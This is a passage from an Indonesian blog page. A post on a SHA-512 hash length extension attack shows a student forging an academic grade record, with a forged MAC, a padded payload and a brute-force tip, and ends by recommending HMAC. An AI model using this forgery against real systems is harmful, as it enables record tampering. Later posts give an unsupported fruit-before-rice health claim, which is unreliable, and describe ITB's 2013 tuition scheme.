Dengan tools sha512-extender si mahasiswa juga sudah mendapatkan MAC yang valid untuk data ’1300000023|CS321=C;CS442=B;’+padding+’;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ yaitu ’48be6ba7fa90e….’

Token:
48be6ba7fa90e7312dec0f169783f7b3722cce4be8e80b7e75ccf0f3d955794c368a3ada05ab3f95ee07d37f4a99b98a0e16569aacc0e8777ca54b1c89344ad7
Nilai (base64 encoded):
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIO0NTMTE0PUE7Q1M1MjE9QTtDUzIyMT1BO0NTMTI1PUE7Q1M0NDQ9QTs=

Akhir cerita, tanpa mengetahui kunci rahasia, si mahasiswa bisa mengubah nilainya menjadi A semua untuk 5 mata kuliah tersebut.

Screen Shot 2013-03-05 at 11.41.28 AM

Proses di Server Akademik

Si mahasiswa kini sudah tidak galau lagi karena sudah sukses mencurangi sistem akademik kampusnya. Sekarang kita akan melihat proses di server dan bagaimana server bisa tertipu ?

Berikut adalah source code di server, terlihat bahwa kunci rahasianya adalah ‘s4nG4t#R4h4514′ berukuran 14 byte. Walaupun si mahasiswa tidak mengetahui kunci rahasia itu, tapi dia tetap bisa mengirim data nilainya dengan hash (MAC) yang valid. Kok bisa? Mari kita lihat apa yang sebenarnya terjadi.

Screen Shot 2013-03-05 at 11.59.00 AM

Kita mulai dari melihat proses penghitungan hash secret key + data aslinya (‘s4nG4t#R4h45141300000023|CS321=C;CS442=B;’) menjadi ’1af41c81d…’.

Screen Shot 2013-03-05 at 12.28.24 PM

Sekarang kita lihat pada gambar di bawah ini, bagaimana secret key di server digabung dengan data yang dikirim si mahasiswa galau. Sekali lagi yang perlu diingat adalah bahwa hasil penggabungan (concat) antara secret key dan data yang dikirim si mahasiswa, harus membentuk blok pertama yang sama (tidak boleh berbeda).

Screen Shot 2013-03-09 at 8.56.19 PM

Dan ini adalah proses penghitungan hash di server setelah secret key digabung dengan data yang dikirim si mahasiswa.

Screen Shot 2013-03-05 at 12.44.46 PM

Pada gambar di atas, data yang berwarna hijau gelap adalah secret key ‘s4nG4t#R4h4514′ yang tidak diketahui si mahasiswa. Data yang berwarna hijau terang adalah data yang dikirim oleh si mahasiswa. Jadi proses pada gambar tersebut adalah penghitungan hash dari gabungan (concatenation) kunci rahasia (hijau gelap) dan data yang dikirim si mahasiswa galau (hijau terang).

Perhatikan juga bahwa data yang dikirim si mahasiswa (hijau terang) adalah data aslinya (’1300000023|CS321=C;CS442=B;’), diikuti dengan padding (80 00 00 … 01 48) untuk menggenapi dan menutup blok data aslinya, kemudian diikuti dengan data tambahan ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ (3B 43 53 31 31…) di awal blok kedua. Si mahasiswa mengirim byte ’01 48′ untuk menutup blok pertama karena panjang secret key (14)+panjang data aslinya (27)=41 byte atau 328 bit dan dalam hexa adalah 01 48.

Sederhananya, data yang dikirim mahasiswa galau adalah hampir semua isi blok pertama kecuali secret key di awal blok (hijau gelap), karena memang dia tidak tahu isinya + data baru tambahan.

Proses Penghitungan oleh si Mahasiswa Galau

Perhatikan perbedaan antara penghitungan hash di server dan di client. Proses penghitungan hash di server dilakukan dari nol, dimulai dari blok pertama dan dengan initial hash value default dari FIPS 3-180 (’6a09e667…’) karena server mengetahui kunci rahasia ‘s4nG4t#R4h4514′.

Sedangkan client, karena tidak tahu kunci rahasia, dia tidak bisa menghitung hash value dari blok pertama. Tapi walaupun dia tidak tahu isi blok pertama, dia tahu hash dari blok pertama, yaitu ’1af41c81d…’. Ingat, isi blok pertama tidak dibutuhkan, yang dibutuhkan hanya hash dari blok pertama.

Gambar di bawah ini adalah modifikasi dari gambar proses di server dengan proses penghitungan blok pertama dihilangkan, langsung memproses blok kedua tanpa memproses blok pertama karena memang client tidak tahu isi blok pertama.

Perhatikan pada 128 bit padding berwarna biru, panjang data adalah 05 48 atau 1352 bit, yang merupakan panjang 1 blok data (1024 bit) + panjang ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ dalam bit. Jadi walaupun yang dihitung adalah satu blok saja, tapi penghitungan hash di client ini seolah-olah adalah kelanjutan dari penghitungan blok pertama sehingga panjang datanya harus mengikutsertakan panjang blok pertama juga.

Screen Shot 2013-03-05 at 12.58.41 PM

Jadi proses penghitungan hashnya dimulai dari blok pertama (di server) atau langsung dari blok kedua (di client), hasil akhirnya akan sama, ’48be6ba7fa…’.

Bila panjang kunci tidak diketahui

Dalam dua contoh pertama walaupun client tidak tahu isi kuncinya, tapi hanya tahu panjang kunci. Panjang kunci contoh pertama adalah 300 byte (‘A’x300), dan pada contoh kedua panjang kuncinya adalah 14 byte (‘s4nG4t#R4h4514′).

Dengan mengetahui panjang kunci, client bisa dengan mudah menghitung byte padding yang dibutuhkan dan panjang data total yang akan dihash (panjang hasil concat kunci+data dari client). Lalu bagaimana bila client yang akan menyerang tidak tahu isi kunci dan panjang kuncinya ?

Bila panjang kunci tidak diketahui, tidak ada masalah juga. Client bisa dengan mudah melakukan brute force, mulai dari panjang kunci 1, 2, 3, 4… sampai ketemu panjangnya 14. Tools sha512-extender tersebut kalau mau bisa dengan mudah dimodifikasi sedikit untuk mengakomodasi kebutuhan brute force. Kalau panjang kunci 1, maka MAC nya ini, dan data yang harus dikirim ke server adalah ini, kemudian dicoba request ke server, bila gagal, coba lagi tools extender kali ini dengan panjang kunci 2 dan seterusnya.

Pencegahan

Agar program yang kita buat tidak bisa diexploit dengan teknik ini, solusinya sederhana:

  1. Don’t reinvent the wheel. Hindari membuat sendiri MAC dengan bentuk-bentuk HASH(kunci+data). Gunakan HMAC (Hash-based MAC) yang memang sudah dirancang untuk membuat MAC yang aman.
  2. SHA3 (Keccak) tidak vulnerable terhadap hash length extension, jadi kalau tetap menggunakan bentuk HASH(kunci+data) gunakan SHA3(kunci+data).

Written by Rizki Wicaksono

March 5th, 2013 at 2:06 pm

Posted in Cryptography

Ternyata Mengkonsumsi Buah Lebih Bagus Sebelum Makan Nasi lho…

without comments

Teman saya dosen di Elektro ITB punya kebiasaan yang unik. Sebelum makan nasi, dia selalu makan buah dulu (selalu dibawanya dari rumah). Setelah jeda lima belas menit, barulah dia makan nasi bersama kami. Ini terbalik dengan kebiasaan saya (dan juga kebiasaan orang Indonesia umumnya) yang makan nasi lebih dahulu dulu baru ditutup dengan makan buah.

Umumnya orang Indonesia beranggapan buah-buahan itu adalah sebagai “pencuci mulut” setelah makan. Biasanya buah-buahan yang sering dihidangkan setelah makan adalah pisang atau jeruk. Pada setiap jamuan makan prasmanan selalu ada hidangan buah potong seperti semangka, pepaya, dan buah melon. Kalau anda perhatikan kebanyakan orang mengambil buah potong itu sebagai penutup makan. Ini memang kebiasaan yang turun temurun sejak zaman Belanda.

Ternyata makan buah setelah makan nasi itu tidak tidak mempunyai manfaat apa-apa bagi kesehatan. Setelah saya cari-cari di Internet (tulisan ini, ini, dan ini) apa manfaat makan buah sebelum makan berat, akhirnya saya mengerti alasannya. Setelah kita makan, tubuh kita memerlukan waktu yang cukup lama untuk mencerna makanan berat yang kita makan, sehingga buah-buahan yang dikosumsi setelah makan berat “sudah terlambat” dicerna sehingga nutrisinya tidak diserap dengan baik.

Yang terbaik adalah makan buah dalam keadaan perut kosong agar penyerapan nutrisi buah-buahan oleh tubuh menjadi lebih maksimal. Buah-buahan lebih cepat dicerna oleh tubuh kita daripada karbohidrat. Setelah makan buah, beri jeda lima belas menit hingga dua puluh menit untuk memberi kesempatan bagi tubuh mencerna buah-buahan dan menyerap nutrisinya, barulah sesudah itu makan berat seperti nasi dan lauk pauk lainnya.

Baiklah, sekarang saya mengerti mengapa makan buah-buahan itu lebih baik sebelum makan kita nasi. Saya akhirnya paham dengan pola makan teman saya itu. Dan yang membuat saya surprise, ternyata Rasulullah Muhammad SAW sudah mencontohkan mengkonsumsi buah-buahan sebelum makan daging (yang utama). Artikel tentang pola makan Rasulullah dapat dibaca di sini. Subhanallah.


Written by rinaldimunir

March 3rd, 2013 at 5:55 pm

Posted in Gado-gado

Uang Kuliah Tunggal (UKT) ITB Mulai Tahun 2013 (d/h ITB Untuk Semua Orang)

without comments

Beberapa orang siswa SMA bertanya kepada saya, apakah benar tahun ini ITB tidak memungut lagi Biaya Penyelenggaraan Pendidikan yang dibayar di Muka (BPPM) alias uang pangkal yang pada tahun lalu besarannya Rp40 juta? Saya perlu menjawabnya melalui tulisan di blog ini, sekaligus sebagai informasi bagi para orangtua yang anaknya akan masuk ITB tahun 2013.

Jawabannya: BENAR, mulai tahun ini BPPM atau uang pangkal yang sering menimbulkan kesan bahwa kuliah di ITB mahal telah dihapuskan sesuai kebijakan dari Kemendiknas. Tidak hanya ITB, seluruh PTN juga sepakat menghapuskan uang pangkal itu (baca tulisan saya terdahulu: Mahasiswa Baru PTN 2013 Bebas Uang Pangkal???). Sebagai gantinya, ITB memberlakukan Uang Kuliah Tunggal (UKT) setiap semester yang besarnya untuk fakultas non-SBM (Sekolah Bisnis dan Manajemen) adalah Rp10.000.000. Namun, angka 10 juta itu adalah UKT maksimal, sebab besar UKT aktual disesuaikan dengan kemampuan orangtua mahasiswa, sehingga mahasiswa ada yang membayar dari Rp0,- (nol rupiah) hingga Rp10 juta (Sumber: KETENTUAN ITB PADA PELAKSANAAN SNMPTN 2013).

Angka UKT Rp10 juta itu kira-kira hitungan sederhananya begini: Tahun lalu BPPM adalah Rp40 juta dan SPP per semester Rp5 juta. Angka Rp40 juta itu jika dibagi delapan semester adalah Rp5 juta/semester. Jika ditambah dengan SPP menjadi Rp5 juta + Rp5 juta = Rp10 juta. Angka Rp10 juta inilah yang menjadi UKT per semester. Dinamakan UKT sebab tidak ada lagi pungutan ini itu, uang praktikum, uang ujian, dan lain-lain (setahu saya di ITB tidak pernah ada uang ujian atau uang praktikum, di perguruan tinggi lain mungkin ada).

Sepuluh juta itu kedengarannya sangat besar bagi sebagian orang. Memang betul, tapi ada klausul lain yang harus dipahami. Sepuluh juta itu bukan angka mati, belum titik. Bagi mahasiswa yang berasal dari keluarga tidak mampu, sebanyak 20% dari jumlah kursi dialokasikan bagi mahasiswa yang berasal dari golongan ekonomi lemah. Mereka ini mendapat beasiswa Bidik Misi dari Pemerintah sehingga membayar UKT Rp0,- alias gratis. Tidak hanya gratis, tetapi mereka juga mendapat bantuan biaya hidup bulanan berupa beasiswa (Program Bidik Misi ini sudah berjalan sejak beberapa tahun terakhir). Dua puluh persen itu banyak lho, jika jumlah mahasiswa baru ITB 4000 orang, maka yang mendapat beasiswa Bidik Misi itu 20% x 4000 = 800 orang. Kenyataanya yang 20% itu tidak selalu terisi penuh, artinya cukup sulit juga menemukan mahasiswa golongan ekonomi lemah yang berotak cemerlang yang diterima di ITB.

Jika 20% menerima Beasiswa Bidik Misi, maka sisanya sebesar 80% lagi membayar UKT dengan mendapat subsidi keringanan yang bervarisasi dari 0%, 25%, 50% 75% (ini besaran persentase tahun lalu) tergantung kemampuan orangtua mahasiswa. Jadi, nantinya ada mahasiswa yang hanya membayar UKT Rp5 juta saja, ada yang Rp2,5 juta, dan sebagainya, dan ada yang membayar penuh Rp10 juta. Pengalaman tahun lalu yang membayar BPPM dan SPP full seratus persen (kalau sekarang UKT 100%) hanya sebanyak 20% saja dari seluruh mahasiswa baru (yaitu 800 orang dari 4000 orang mahasiswa baru).

Membaca angka-angka di atas, kampus saya ITB sebenarnya sangat ramah bagi mahasiswa dari golongan ekonomi apa saja, mulai dari orang miskin hingga orang kaya. ITB UNTUK SEMUA, artinya semua orang bisa kuliah di ITB. Tidak punya uang tidak usah takut, yang penting punya modal otak. Setelah masuk ITB terdapat ribuan beasiswa yang bisa dilamar. Jadi, jangan takut kuliah di ITB.


Written by rinaldimunir

March 2nd, 2013 at 5:58 pm

Posted in Seputar ITB